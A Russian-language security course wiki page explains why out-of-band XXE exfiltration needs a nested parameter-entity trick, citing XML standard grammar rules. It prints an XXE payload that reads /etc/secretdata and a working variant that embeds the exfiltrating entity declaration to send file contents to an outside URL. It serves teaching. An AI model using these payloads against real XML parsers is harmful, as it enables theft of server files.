Дополнительные главы практической безопасности (2021)/XXE

Материал из SecSem Wiki
Перейти к навигации Перейти к поиску

Почему эксплуатация XXE out-of-band выглядит именно так

Итак, нам нужно как то отправить себе значение сущности (украденные с помощью внешней сущности данные) в условиях когда сервер нам в ответ никакие данные не возвращает. Для этого можно использовать parameter entitiy - сущность, значение которой можно подставлять в DTD, она тоже может быть внешней. Идея такая: считать данные в parameter entitity и подставить её значение в объявление другой внешней сущности, чтобы это значение стало частью урла. Тогда, когда эта другая сущность будет резолвиться, на этот урл сделается запрос и как его часть пошлются и украденные данные. Если урл ведёт на наш сервер, мы их получим.

Таким образом, простой наивный эксплоит мог бы выглядеть так:

<?xml version="1.0"?>
<!DOCTYPE test [
    <!ENTITY % steal SYSTEM "/etc/secretdata">
    <!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">
]>
<test>&exfilt;</test>

Однако, это не сработает: сущность steal не разрезолвится внутри урла сущности exfilt и на сервер пойдёт запрос c урлом /get?data=%steal. Параметрические сущности не резолвятся внутри URL внешних сущностей. Причина этого в том, по стандарту XML строка после SYSTEM в объявлении сущности не является значением сущности (entity value literal), это её system identifier, имеющий тип SystemLiteral. Таким образом, хотя синтаксически значение обычной сущности и урл внешней очень похожи, с точки зрения стандарта это разные контексты. А в литералах кроме entity value literal параметрические сущности не резолвятся: Parameter entity references are recognized anywhere in the DTD (internal and external subsets and external parameter entities), except in literals, .... (стандарт XML).

Если посмотреть на грамматику литералов, то видно, что EntityValue рассчитан на то что в нём будут ссылки на параметрические сущности

[9]     EntityValue     ::=     '"' ([^%&"] | PEReference | Reference)* '"'
|  "'" ([^%&'] | PEReference | Reference)* "'"

A SystemLiteral нет

[11]     SystemLiteral     ::=     ('"' [^"]* '"') | ("'" [^']* "'")

Поэтому приходится прибегать к трюку с засовыванием объявления внешей сущности в не-внешнюю: <!ENTITY % int '<!ENTITY exfilt SYSTEM "http://bushwhackers.ru/get?data=%steal;">'> - поскольку сущность int не внешняя, её значение это entity value literal, в котором по стандарту параметрическая сущность подставляться может